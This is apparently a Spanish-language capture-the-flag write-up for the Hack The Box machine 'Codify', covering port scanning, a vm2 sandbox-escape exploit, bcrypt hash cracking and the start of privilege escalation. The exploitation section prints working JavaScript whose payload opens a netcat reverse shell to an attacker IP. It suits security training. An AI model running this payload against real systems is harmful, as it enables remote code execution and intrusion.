🟩HTB - Codify

https://app.hackthebox.com/machines/Codify

Información General

  • Nombre de la Máquina: Codify

  • IP de la Máquina: 10.10.11.239

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de Publicación: 04 Nov 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la dirección IP de la máquina objetivo:

settarget 10.10.11.239 Codify

Ping de reconocimiento

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.10.11.239 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.239 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80,3000,8080 10.10.11.239 -oN targeted
cat targeted -l java

Para añadir la entrada "10.10.11.239 codify.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

Este comando añade la dirección IP 10.10.11.239 asociada al nombre de host codify.htb al archivo /etc/hosts de tu sistema.

Utilizando WhatWeb para Obtener Información sobre el Objetivo

Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

whatweb http://codify.htb > whatweb && cat whatweb -l java

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://codify.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web http://codify.htb/. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la búsqueda. La opción -t 50 indica que se deben utilizar 50 threads simultáneos para acelerar el proceso.

TIP: Instalación de SecLists con apt-get

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

  1. Actualiza la lista de paquetes disponibles:

    sudo apt-get update
  2. Instala SecLists:

    sudo apt-get install seclists

Con estos pasos, SecLists se instalará en tu sistema y podrás acceder a la lista de palabras clave en el directorio /usr/share/seclists/

Exploitation

Después de investigar exhaustivamente la página web y enfrentarme a varios desafíos, descubrí un detalle revelador en la sección "About-us": el nombre de la librería utilizada en el sitio, VM2 3.9.16. Esta información resultó ser crucial, ya que al buscar en Google rápidamente, encontré referencias a un "Sandbox Escape" que podría permitirnos realizar un bypass y ejecutar código malicioso en el sistema. Este descubrimiento destaca la importancia de la perseverancia y la atención a los detalles en la seguridad informática, ya que a veces una pequeña pista puede conducir a grandes hallazgos.

const { VM } = require("vm2");
const vm = new VM();

const code = `
cmd = 'id'
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 6666 >/tmp/f');
}
`
console.log(vm.run(code));

Despues de un rato rebuscando el por el server me encuentro con un archivo llamado tickets.db alojado en /var/www/contact/

En este caso, utilizaremos John the Ripper con el formato bcrypt y una lista de palabras comunes para intentar crackear una contraseña.

El comando utilizado es el siguiente:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  • --format=bcrypt: Especifica el formato del hash a crackear, en este caso, bcrypt.

  • --wordlist=/usr/share/wordlists/rockyou.txt: Especifica la lista de palabras que se utilizarán en el intento de crackeo. En este caso, se utiliza el archivo rockyou.txt que es una lista de contraseñas comunes.

  • hash.txt: Especifica el archivo que contiene el hash de la contraseña que queremos crackear.

Conseguimos crackear el hash ;). Por lo que probamos las credenciales, ssh joshua@codify.htb.

Privilege Escalation

Encontramos permisos de root en mysql-backup.sh. El comando sudo -l se utiliza para listar los privilegios que un usuario tiene para ejecutar comandos con sudo. sudo es un programa que permite a los usuarios ejecutar comandos con los privilegios de otro usuario (normalmente el usuario root o administrador) de forma temporal y controlada.

Esto es un bruteforce para el mysql-backup.sh

Ahora probamos la nueva credencial